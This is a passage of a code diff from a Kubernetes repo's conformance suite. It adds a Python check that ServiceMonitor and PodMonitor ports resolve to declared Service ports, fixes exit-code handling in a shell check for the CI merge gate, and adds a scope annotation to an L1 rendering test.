+        "interface), so it names no Service port at all and assertion (2) has nothing to resolve.",
+    "platform/kubevirt/servicemonitor.yaml:kubevirt":
+        "selects the KubeVirt operator's own `kubevirt-prometheus-metrics` Service (label "
+        "prometheus.kubevirt.io=true), created by the KubeVirt CR, not by this repo. Its `metrics` "
+        "port is defined there. Live on prod: job kubevirt-prometheus-metrics, 11 targets up.",
+    "platform/oauth2-proxy/servicemonitor.yaml:oauth2-proxy":
+        "selects the oauth2-proxy Helm chart's Service (label app=oauth2-proxy); the chart defines "
+        "its `metrics` port. Live on prod: job oauth2-proxy, 2 targets up.",
+    "platform/monitoring/flux-podmonitor.yaml:flux-system":
+        "a PodMonitor, so it resolves against POD ports, not Service ports — the Flux controller "
+        "Deployments (and their `http-prom` container port) are installed by the Flux bootstrap "
+        "manifests, not authored here. Live on prod: job flux-system/flux-system, 6 targets up.",
+}
+
+MONITOR_KINDS = ("ServiceMonitor", "PodMonitor")
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests.
+
+    The l1-rendering goldens are expected-output copies of rendered apps; the l2/l3 fixtures are
+    throwaway objects a behavioural test applies itself. Auditing either would be auditing a copy —
+    the same "reference, not declaration" distinction ci/touched-requirements.sh draws for fixture
+    paths, and the same exclusion the sibling check makes for goldens. The templates they come from
+    ARE audited, through apps/ and catalog/.
+    """
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+# ============================================================ (0) INVENTORY
+# services: list of (relpath, namespace, name, labels, {named ports})
+# monitors: list of (relpath, kind, namespace, name, selector, namespaceSelector, [endpoints])
+services: list[tuple] = []
+monitors: list[tuple] = []
+unparseable: list[str] = []
+
+# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
+# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
+# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
+# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
+for p in sorted(ROOT.rglob("*.yaml")):
+    if any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if not txt:
+        continue
+    if not re.search(r"^\s*kind:\s*(Service|ServiceMonitor|PodMonitor)\s*$", txt, re.M):
+        continue
+    rel = str(p.relative_to(ROOT))
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        unparseable.append(f"{rel} ({exc})")
+        continue
+    for d in docs:
+        kind = d.get("kind")
+        md = d.get("metadata") or {}
+        spec = d.get("spec") or {}
+        if kind == "Service":
+            names = {str(port["name"]) for port in (spec.get("ports") or [])
+                     if isinstance(port, dict) and port.get("name")}
+            services.append((rel, md.get("namespace"), md.get("name"),
+                             dict(md.get("labels") or {}), names))
+        elif kind in MONITOR_KINDS:
+            eps = spec.get("endpoints") or spec.get("podMetricsEndpoints") or []
+            monitors.append((rel, kind, md.get("namespace"), md.get("name"),
+                             dict((spec.get("selector") or {}).get("matchLabels") or {}),
+                             dict(spec.get("namespaceSelector") or {}),
+                             [e for e in eps if isinstance(e, dict)]))
+
+for u in unparseable:
+    check(False, f"{u} is not parseable YAML — every monitor and Service in it went unaudited")
+
+check(len(monitors) > 0,
+      "no ServiceMonitor/PodMonitor parsed out of the tree, yet the grep gate above found one. The "
+      "parse contract broke and this check would pass vacuously while every scrape target went "
+      "unaudited")
+check(len(services) >= 10,
+      f"only {len(services)} Service(s) parsed from the tree. This repo authors more than that "
+      f"(every apps/wave-* ServiceDefinition renders one), so the inventory has stopped being "
+      f"populated — assertion (2) would then resolve nothing and pass for the wrong reason")
+
+
+# ============================================================ THE RESOLVER
+def monitor_namespaces(mon_ns, ns_selector) -> set | None:
+    """Namespaces a monitor selects. None means ANY (`any: true`).
+
+    An empty namespaceSelector defaults to the monitor's own namespace — the operator's documented
+    behaviour, and the case every repo-authored monitor uses.
+    """
+    if ns_selector.get("any") is True:
+        return None
+    names = ns_selector.get("matchNames")
+    if names:
+        return {str(n) for n in names}
+    return {mon_ns} if mon_ns else set()
+
+
+def matching_services(selector: dict, namespaces: set | None) -> list[tuple]:
+    """Services whose labels are a SUPERSET of the selector and whose namespace is in range.
+
+    An EMPTY selector matches every Service in range (Kubernetes label-selector semantics). A
+    PodMonitor selector is compared against Service labels too — deliberately, so the resolver has
+    one code path; when that yields no match the monitor lands in the unauditable register with the
+    reason recorded, which is the honest outcome for a pod-side target this repo does not author.
+    """
+    out = []
+    for svc in services:
+        _, svc_ns, _, labels, _ = svc
+        if namespaces is not None and svc_ns not in namespaces:
+            continue
+        if all(labels.get(k) == v for k, v in selector.items()):
+            out.append(svc)
+    return out
+
+
+def resolve(mon: tuple) -> tuple[list[str], list[tuple]]:
+    """(failures, matched services) for one monitor. The unit assertions (1) and (2) live here so
+    the SELF-TEST at the bottom exercises the same code path the repo audit does."""
+    rel, kind, ns, name, selector, ns_sel, eps = mon
+    site = f"{rel}:{name}"
+    problems: list[str] = []
+    matched = matching_services(selector, monitor_namespaces(ns, ns_sel))
+
+    for i, ep in enumerate(eps):
+        if not ep.get("port") and not ep.get("targetPort"):
+            problems.append(
+                f"{site} endpoint[{i}] names NEITHER `port` NOR `targetPort`. The operator accepts "
+                f"that silently and the monitor scrapes nothing")
+    if not eps:
+        problems.append(
+            f"{site} has NO endpoints at all — it can never produce a target, and nothing about "
+            f"the object looks wrong")
+
+    named = [(i, str(ep["port"])) for i, ep in enumerate(eps) if ep.get("port")]
+    if named and matched:
+        defined: set = set()
+        for svc in matched:
+            defined |= svc[4]
+        for i, port in named:
+            if port not in defined:
+                where = ", ".join(f"{s[0]}:{s[2]}" for s in matched)
+                problems.append(
+                    f"{site} endpoint[{i}] scrapes port {port!r}, which NO Service its selector "
+                    f"matches defines. Matched Service(s): {where}; the port names they define are "
+                    f"{sorted(defined) or ['(none)']}. The monitor therefore discovers ZERO "
+                    f"targets: no `up{{job=\"{name}\"}}` series exists, anything built on its "
+                    f"series is empty, and PrometheusTargetsMissing cannot see it either because a "
+                    f"target that was never discovered has no up series to be 0. Give the Service a "
+                    f"named port the workload actually serves metrics on (for a ServiceDefinition: "
+                    f"`observability.metricsEndpoint`, which renders the Service port, this "
+                    f"endpoint and the monitoring ingress allow together), or scrape by targetPort")
+    return problems, matched
+
+
+# ============================================================ (1)(2)(3) THE REPO AUDIT
+auditable = 0
+for mon in monitors:
+    rel, kind, ns, name, selector, ns_sel, eps = mon
+    site = f"{rel}:{name}"
+    problems, matched = resolve(mon)
+    for msg in problems:
+        check(False, msg)
+    if not problems:
+        # An endpoint-shape assertion passed for this monitor; count it so the report is honest
+        # about how much of the run was real work.
+        check(True, f"{site}: every endpoint names a scrape target")
+    if matched:
+        auditable += 1
+        check(site not in KNOWN_EXTERNAL_MONITORS,
+              f"{site} is listed in KNOWN_EXTERNAL_MONITORS but its selector NOW matches "
+              f"{len(matched)} Service(s) this repo authors — the register is shrink-only: delete "
+              f"the entry so the monitor is audited for real")
+    else:
+        check(site in KNOWN_EXTERNAL_MONITORS,
+              f"{site} selects {selector or '(everything)'} in namespace(s) "
+              f"{sorted(monitor_namespaces(ns, ns_sel) or ['<any>'])} and NO Service in this repo "
+              f"matches, so its endpoint ports cannot be audited here. Either the selector is wrong "
+              f"(a monitor matching nothing discovers nothing), or the Service is chart/operator "
+              f"owned — in which case DECLARE it in KNOWN_EXTERNAL_MONITORS with who creates it")
+
+for site in sorted(KNOWN_EXTERNAL_MONITORS):
+    check(any(f"{m[0]}:{m[3]}" == site for m in monitors),
+          f"KNOWN_EXTERNAL_MONITORS declares {site}, which is not a monitor in this repo any more "
+          f"— a stale exemption hides the next real gap; delete the entry")
+
+
+# ============================================================ (4) THE RESOLVER IS PROVEN
+# After the twelve apps/* monitors were removed there is NO in-repo monitor left for assertion (2)
+# to judge (every survivor is chart-owned, and keycloak's scrapes by targetPort). A guard in that
+# state passes whether it works or not. So the resolver is run against two synthetic monitors over
+# two synthetic Services, in the exact shape catalog/render.py emits from
+# `observability.metricsEndpoint`, and BOTH outcomes are asserted.
+_real_services = services
+services = [
+    ("<selftest>", "fixture", "agreeing", {"app.kubernetes.io/name": "agreeing"},
+     {"port-8080", "metrics"}),
+    ("<selftest>", "fixture", "disagreeing", {"app.kubernetes.io/name": "disagreeing"},
+     {"port-8080"}),
+]
+good = ("<selftest>", "ServiceMonitor", "fixture", "agreeing",
+        {"app.kubernetes.io/name": "agreeing"}, {"matchNames": ["fixture"]},
+        [{"port": "metrics", "path": "/metrics", "interval": "30s"}])
+bad = ("<selftest>", "ServiceMonitor", "fixture", "disagreeing",
+       {"app.kubernetes.io/name": "disagreeing"}, {"matchNames": ["fixture"]},
+       [{"port": "metrics", "path": "/metrics", "interval": "30s"}])
+empty = ("<selftest>", "ServiceMonitor", "fixture", "agreeing",
+         {"app.kubernetes.io/name": "agreeing"}, {"matchNames": ["fixture"]},
+         [{"path": "/metrics"}])
+
+good_problems, good_matched = resolve(good)
+bad_problems, bad_matched = resolve(bad)
+empty_problems, _ = resolve(empty)
+services = _real_services
+
+check(good_matched and not good_problems,
+      f"SELF-TEST: the resolver rejected a CORRECT monitor (Service defines `metrics`, endpoint "
+      f"scrapes `metrics`): {good_problems or 'selector matched no fixture Service'}. The resolver "
+      f"is broken in the direction that makes the gate red for correct code")
+check(bad_matched and len(bad_problems) == 1 and "discovers ZERO targets" in bad_problems[0],
+      "SELF-TEST: the resolver ACCEPTED a monitor whose endpoint names a port its Service does not "
+      "define — the exact defect that left twelve apps/* monitors discovering nothing on prod. "
+      "Assertion (2) is inert; every pass above proves nothing")
+check(len(empty_problems) == 1 and "NEITHER" in empty_problems[0],
+      "SELF-TEST: the resolver ACCEPTED an endpoint naming neither `port` nor `targetPort`, so "
+      "assertion (1) is inert")
+
+
+# ============================================================ (5) THE GENERATOR CANNOT REGRESS
+RENDER = read(ROOT / "catalog" / "render.py")
+check(RENDER != "", "catalog/render.py is unreadable — the generator half cannot be audited")
+sm_fn = RENDER.split("def r_servicemonitor")[-1].split("\ndef ")[0] if RENDER else ""
+check("def r_servicemonitor" in RENDER,
+      "catalog/render.py no longer defines r_servicemonitor — this assertion is auditing nothing")
+check(not re.search(r'"port":\s*"[a-z][a-z0-9-]*"', sm_fn),
+      "catalog/render.py's r_servicemonitor HARDCODES a literal endpoint port name. That is the "
+      "original defect's mechanism: one edit gave twelve services the same wrong port name "
+      "(`metrics`), which no rendered Service defined, and every `up`-based SLI built on them was "
+      "structurally inert on prod. The port name must come from the ServiceDefinition's "
+      "`observability.metricsEndpoint`, the same declaration that renders the Service port")
+check("metricsEndpoint" in sm_fn,
+      "catalog/render.py's r_servicemonitor no longer reads `metricsEndpoint`, so it is back to "
+      "rendering a monitor from an intent (`metrics: true`) that cannot say where metrics are "
+      "served — for most of this catalog, nowhere")
+SCHEMA = read(ROOT / "schemas" / "servicedefinition.schema.json")
+check("metricsEndpoint" in SCHEMA,
+      "schemas/servicedefinition.schema.json does not define observability.metricsEndpoint, so the "
+      "field the renderer depends on is not part of the contract and `additionalProperties: false` "
+      "would reject any ServiceDefinition that declares one")
+
+
+# ============================================================ (6) LOAD-BEARING
+SELF = read(ROOT / "conformance" / "tests" / "l0-static" / "servicemonitor-ports-resolve"
+            / "chainsaw-test.yaml")
+check(re.search(r"^\s*conformance\.home\.k3s/scope:\s*[\"']?whole-repo", SELF, re.M) is not None,
+      "servicemonitor-ports-resolve/chainsaw-test.yaml does not declare "
+      "conformance.home.k3s/scope: whole-repo, so the merge gate selects this check only when a "
+      "change happens to touch R-OBS-01. ci/touched-requirements.sh maps apps/* to NOTHING, so "
+      "adding a ServiceMonitor under apps/ would be filtered out of exactly the change that "
+      "reintroduces the defect")
+L0 = read(ROOT / "ci" / "l0.sh")
+GATE = read(ROOT / "ci" / "gate.sh")
+check("--include-scope" in L0,
+      "ci/l0.sh no longer passes --include-scope to the conformance runner, so the L0 stage is a "
+      "purely requirement-scoped run again and the scope annotation above is inert decoration")
+check("servicemonitor-ports-resolve" not in L0,
+      "ci/l0.sh names this check in a hand-written stage. Whole-repo invariants are selected BY "
+      "DECLARING the scope; a per-test stage is the pattern tests/l0-static/"
+      "whole-repo-invariants-wired fails the gate for, because the next invariant's author has to "
+      "REMEMBER to add one and the omission is silent")
+check(re.search(r"^for s in .*\bl0\b.*; do", GATE, re.M) is not None
+      and re.search(r"fail\).*BLOCK=1", GATE) is not None,
+      "ci/gate.sh does not set the merge block when the l0 stage fails")
+
+
+# ======================================================================== report
+print(f"Monitor inventory: {len(monitors)} ServiceMonitor/PodMonitor(s), {len(services)} "
+      f"Service(s) authored in this repo")
+for rel, kind, ns, name, selector, ns_sel, eps in monitors:
+    tgt = ", ".join(
+        str(e.get("port") or f"targetPort {e.get('targetPort')}" or "<none>") for e in eps
+    ) or "<no endpoints>"
+    mark = "EXTERNAL" if f"{rel}:{name}" in KNOWN_EXTERNAL_MONITORS else "resolved"
+    print(f"  {mark:<8} {kind:<14} {rel}:{name}  -> {tgt}")
+print(f"\n  resolvable against an in-repo Service: {auditable}/{len(monitors)}")
+print(f"  DECLARED GAP (shrink-only): KNOWN_EXTERNAL_MONITORS: {len(KNOWN_EXTERNAL_MONITORS)} "
+      f"monitor(s) whose Service is created by a chart/operator outside this tree")
+print("  RESOLVER SELF-TEST: agreeing pair accepted, disagreeing pair rejected, "
+      "target-less endpoint rejected")
+
+print()
+if not FAILURES:
+    print(f"check OK: servicemonitor-ports-resolve — {CHECKS} assertions (R-OBS-01)")
+    raise SystemExit(0)
+print(f"CHECK FAIL (servicemonitor-ports-resolve): {len(FAILURES)} failed, "
+      f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+for f in FAILURES:
+    print(f"  FAIL {f}", file=sys.stderr)
+raise SystemExit(1)
+PY

conformance/tests/l0-static/whole-repo-invariants-wired/check.sh

@@ -39,20 +39,20 @@ if [ "$FAILED" -ne 0 ]; then
 fi
 
 grep -q 'CONF_SCOPE_ANNOTATION' "$COMMON_SH" \
-  && grep -q 'conf_dirs_for_scope' "$COMMON_SH"
-chk $? "conformance/lib/common.sh resolves the scope annotation (conf_dirs_for_scope)" \
+  && grep -q 'conf_dirs_for_scope' "$COMMON_SH" && arc=0 || arc=$?
+chk $arc "conformance/lib/common.sh resolves the scope annotation (conf_dirs_for_scope)" \
        "conformance/lib/common.sh no longer resolves the scope annotation — no test can be
        selected BY declaring a scope, so every whole-repo invariant is back to being
        selectable away by the requirement filter"
 
-grep -q -- '--include-scope' "$RUN_SH" && grep -q 'conf_dirs_for_scopes' "$RUN_SH"
-chk $? "conformance/run.sh --include-scope unions scope-declared tests into select_dirs" \
+grep -q -- '--include-scope' "$RUN_SH" && grep -q 'conf_dirs_for_scopes' "$RUN_SH" && arc=0 || arc=$?
+chk $arc "conformance/run.sh --include-scope unions scope-declared tests into select_dirs" \
        "conformance/run.sh does not union scope-declared tests (--include-scope /
        conf_dirs_for_scopes missing) — the annotation would be inert decoration"
 
 grep -Eq -- '--include-scope[[:space:]]+"?\$\{?WHOLE_REPO_SCOPE' "$L0_SH" \
-  || grep -Eq -- "--include-scope[[:space:]]+['\"]?${SCOPE}" "$L0_SH"
-chk $? "ci/l0.sh passes --include-scope ${SCOPE} to the conformance runner" \
+  || grep -Eq -- "--include-scope[[:space:]]+['\"]?${SCOPE}" "$L0_SH" && arc=0 || arc=$?
+chk $arc "ci/l0.sh passes --include-scope ${SCOPE} to the conformance runner" \
        "ci/l0.sh does not pass --include-scope ${SCOPE}: the L0 merge-gate stage is back to a
        purely requirement-scoped run, and every whole-repo invariant is filtered out of
        exactly the change that breaks it"
@@ -63,16 +63,16 @@ while IFS= read -r d; do [ -n "$d" ] && declared_dirs+=("$d"); done < <(
   CONF_ROOT="$CONF" bash -c 'source "${CONF_ROOT}/lib/common.sh"; conf_dirs_for_scope "$1"' _ "$SCOPE"
 )
 MIN_DECLARED="${MIN_DECLARED:-5}"
-[ "${#declared_dirs[@]}" -ge "$MIN_DECLARED" ]
-chk $? "${#declared_dirs[@]} test(s) declare scope='${SCOPE}' (floor ${MIN_DECLARED})" \
+[ "${#declared_dirs[@]}" -ge "$MIN_DECLARED" ] && arc=0 || arc=$?
+chk $arc "${#declared_dirs[@]} test(s) declare scope='${SCOPE}' (floor ${MIN_DECLARED})" \
        "only ${#declared_dirs[@]} test(s) declare scope='${SCOPE}' (floor ${MIN_DECLARED}) — either the
        annotation was stripped from the whole-repo checks, or the resolver stopped matching
        it. Every assertion below would then pass while checking nothing"
 
 for d in ${declared_dirs[@]+"${declared_dirs[@]}"}; do
   rel="${d#"$ROOT"/}"
-  [ -f "$d/check.sh" ] || [ -f "$d/render-check.sh" ]
-  chk $? "${rel}: declares the scope AND carries an executable offline check" \
+  [ -f "$d/check.sh" ] || [ -f "$d/render-check.sh" ] && arc=0 || arc=$?
+  chk $arc "${rel}: declares the scope AND carries an executable offline check" \
          "${rel} declares scope='${SCOPE}' but carries neither check.sh nor render-check.sh — an
          unconditional run of a test with nothing to run is a guaranteed SKIP, i.e. a
          permanent not-green, not a guard"
@@ -85,31 +85,64 @@ done
 # second would fail.
 # Deliberately LOWERCASE: conf_normalize_reqs() upper-cases it, so the selection behaves
 # identically — but the literal here does not match ci/touched-requirements.sh's content-scan
-# pattern `R-[A-Z]+-[0-9]+`, so editing this file does not attribute a nonexistent requirement
+# pattern `R-[A-Z0-9]+-[0-9]+`, so editing this file does not attribute a nonexistent requirement
 # to the change. (Same reason the synthetic fixture below carries no requirement label at all.)
 BOGUS_REQ="r-nosuchreq-99"
 sel_without="$(bash "$RUN_SH" --layer l0 --requirements "$BOGUS_REQ" --print-selection 2>/dev/null || true)"
 sel_with="$(bash "$RUN_SH" --layer l0 --requirements "$BOGUS_REQ" --include-scope "$SCOPE" --print-selection 2>/dev/null || true)"
 
-[ -z "$sel_without" ]
-chk $? "a requirement filter matching no test resolves to an EMPTY L0 selection (control)" \
+[ -z "$sel_without" ] && arc=0 || arc=$?
+chk $arc "a requirement filter matching no test resolves to an EMPTY L0 selection (control)" \
        "the control case is broken: --requirements ${BOGUS_REQ} still selected tests
        ($(printf '%s' "$sel_without" | tr '\n' ' ')), so the assertion below proves nothing
        about --include-scope"
 
+# PARTITIONED BY LAYER, because the union is layer-BOUNDED by design: `--layer l0` must select the
+# scope-declaring L0 tests and NOT the L1 ones (asserted separately below). This loop compared EVERY
+# scope-declaring dir against an `--layer l0` selection, which silently assumed only L0 tests would
+# ever declare the scope — and ci/l1.sh was written from the opposite premise, that a whole-repo
+# invariant could appear "at any layer". The moment the three L1 rendering tests declared it
+# (2026-09-18) this check failed, blaming the union for correctly excluding another layer.
 missing=""
 for d in ${declared_dirs[@]+"${declared_dirs[@]}"}; do
+  case "$d" in */tests/l0-static/*) ;; *) continue ;; esac
   printf '%s\n' "$sel_with" | grep -qxF "$d" || missing="${missing} ${d#"$ROOT"/}"
 done
-[ -z "$missing" ]
-chk $? "every scope-declared L0 test is selected DESPITE a requirement filter matching none" \
+[ -z "$missing" ] && arc=0 || arc=$?
+chk $arc "every scope-declared L0 test is selected DESPITE a requirement filter matching none" \
        "the scope union does not actually select:${missing}. This is the blind spot itself: a
        change that attributes no requirement would not run these checks"
 
+# The SAME property one layer up. This is what makes the L1 declaration load-bearing rather than
+# decorative: ci/l1.sh has always passed --include-scope, but until an L1 test declared the scope
+# nothing proved the union reached L1 at all. The 2026-09-04 external-dns merge is the case in
+# point — it attributed no rendering requirement, selected ZERO L1 tests, gated GREEN, and left all
+# three rendering goldens stale.
+sel_l1="$(bash "$RUN_SH" --layer l1 --requirements "$BOGUS_REQ" --include-scope "$SCOPE" \
+          --print-selection 2>/dev/null || true)"
+missing_l1=""
+declared_l1=0
+for d in ${declared_dirs[@]+"${declared_dirs[@]}"}; do
+  case "$d" in */tests/l1-rendering/*) ;; *) continue ;; esac
+  declared_l1=$((declared_l1+1))
+  printf '%s\n' "$sel_l1" | grep -qxF "$d" || missing_l1="${missing_l1} ${d#"$ROOT"/}"
+done
+[ "$declared_l1" -gt 0 ] && [ -z "$missing_l1" ] && arc=0 || arc=$?
+chk $arc "every scope-declared L1 test is selected under --layer l1 DESPITE a requirement filter matching none" \
+       "scope-declared L1 tests: ${declared_l1}; not selected by --layer l1 --include-scope ${SCOPE}:
+       ${missing_l1:-<none>}. If the count is 0 the rendering goldens are back to being checked only
+       when a touched path happens to attribute R-PLAT-02/R-NET-01/R-NET-05/06/07"
+
+# And the L1 union must not leak the other way either.
+strays_l1="$(printf '%s\n' "$sel_l1" | grep -v '/tests/l1-rendering/' || true)"
+[ -z "$strays_l1" ] && arc=0 || arc=$?
+chk $arc "the scope union stays inside --layer l1 (no cross-layer leakage)" \
+       "--layer l1 --include-scope ${SCOPE} selected non-L1 test(s): $(printf '%s' "$strays_l1" | tr '\n' ' ')"
+
 # The union must not smuggle in another layer's tests when --layer bounds the run.
 strays="$(printf '%s\n' "$sel_with" | grep -v '/tests/l0-static/' || true)"
-[ -z "$strays" ]
-chk $? "the scope union stays inside --layer l0 (no cross-layer leakage)" \
+[ -z "$strays" ] && arc=0 || arc=$?
+chk $arc "the scope union stays inside --layer l0 (no cross-layer leakage)" \
        "--layer l0 --include-scope ${SCOPE} selected non-L0 test(s): $(printf '%s' "$strays" | tr '\n' ' ')"
 
 # ---- (3) a SKIP of a scope-declared check is UNWIRED, NOT GREEN -------------------------
@@ -143,23 +176,23 @@ run_offline() {  # run_offline <dir...> -> echoes rc
 rc_declared="$(run_offline "${WORK}/l0-static/synth-declared")"
 rc_undeclared="$(run_offline "${WORK}/l0-static/synth-undeclared")"
 
-[ "$rc_declared" = 3 ]
-chk $? "a SKIPPED check that DECLARES scope='${SCOPE}' makes the runner exit 3 (UNWIRED, not green)" \
+[ "$rc_declared" = 3 ] && arc=0 || arc=$?
+chk $arc "a SKIPPED check that DECLARES scope='${SCOPE}' makes the runner exit 3 (UNWIRED, not green)" \
        "a SKIPPED scope-declared check made the offline runner exit ${rc_declared}, not 3. A
        whole-repo invariant reporting 'nothing to audit' means the tree it audits has
        VANISHED; the deleted ci/l0.sh stages called that 'not a pass' and set the gate's
        rc=3. Exit 0 here turns that back into a silent green"
 
-[ "$rc_undeclared" = 0 ]
-chk $? "a SKIPPED check with NO scope declaration still exits 0 (unchanged for scaffolds)" \
+[ "$rc_undeclared" = 0 ] && arc=0 || arc=$?
+chk $arc "a SKIPPED check with NO scope declaration still exits 0 (unchanged for scaffolds)" \
        "a SKIPPED undeclared check made the runner exit ${rc_undeclared}, not 0 — the strict
        rule leaked onto ordinary scaffolds, which would make every unfinished test block"
 
 # ...and ci/l0.sh must map that rc 3 to the GATE's rc 3, never to a pass.
 l0_static_stage="$(sed -n '/Stage 3b: L0 STATIC/,/^case "\$rc" in/p' "$L0_SH")"
 printf '%s\n' "$l0_static_stage" | grep -Eq '^[[:space:]]*3\)' \
-  && printf '%s\n' "$l0_static_stage" | grep -Eq 'rc=3'
-chk $? "ci/l0.sh maps the runner's rc 3 to the gate's own rc 3 (SKIPPED, not a pass)" \
+  && printf '%s\n' "$l0_static_stage" | grep -Eq 'rc=3' && arc=0 || arc=$?
+chk $arc "ci/l0.sh maps the runner's rc 3 to the gate's own rc 3 (SKIPPED, not a pass)" \
        "ci/l0.sh's L0-static stage has no rc-3 arm setting the gate's rc=3, so a scope-declared
        check that SKIPPED would be reported as a PASS — the exact false green the deleted
        stages were written to prevent"
@@ -193,8 +226,8 @@ done
 
 # ---- (5) the gate still BLOCKS on an l0 failure -----------------------------------------
 # Carried over from the three deleted stages' own checks — asserted once, here.
-grep -Eq '^for s in .*\bl0\b.*; do' "$GATE_SH" && grep -Eq 'fail\).*BLOCK=1' "$GATE_SH"
-chk $? "ci/gate.sh sets the merge block when the l0 stage fails" \
+grep -Eq '^for s in .*\bl0\b.*; do' "$GATE_SH" && grep -Eq 'fail\).*BLOCK=1' "$GATE_SH" && arc=0 || arc=$?
+chk $arc "ci/gate.sh sets the merge block when the l0 stage fails" \
        "ci/gate.sh does not set the merge block on an l0 stage failure — every assertion above
        would hold while a red L0 stage merged anyway"
 

conformance/tests/l1-rendering/container-workload-render/chainsaw-test.yaml

@@ -23,6 +23,17 @@ metadata:
     conformance.home.k3s/requirements: "R-PLAT-02"
     conformance.home.k3s/layer: "L1"
     conformance.home.k3s/safety-critical: "false"
+    # WHY SCOPE, NOT REQUIREMENTS ALONE: every L1 test exercises ONE shared code path —
+    # catalog/render.py against schemas/servicedefinition.schema.json — so anything that changes
+    # rendered output breaks these goldens regardless of which requirement the touched path maps to.
+    # Requirement-scoped selection cannot see that coupling. Concretely (2026-09-04 external-dns
+    # merge): `platform/externaldns/helmrelease.yaml` attributes R-ENV-02, R-OBS-01/02/04,
+    # R-STATE-03 and R-TEST-01/02/03/04 via ci/touched-requirements.sh — NOT R-PLAT-02, R-NET-01 or
+    # R-NET-05/06/07 — yet it added `external-dns.alpha.kubernetes.io/controller: none` to the
+    # rendered output of ALL THREE L1 goldens. A requirement-scoped gate selected ZERO L1 tests, went
+    # GREEN, and left every golden stale; the staleness surfaced only on a later full run.
+    # ci/l1.sh has passed --include-scope since it was written, waiting for this annotation.
+    conformance.home.k3s/scope: "whole-repo"
     conformance.home.k3s/intent: >-
       A kind: container ServiceDefinition renders a Deployment + Service (the PaaS path).
 spec: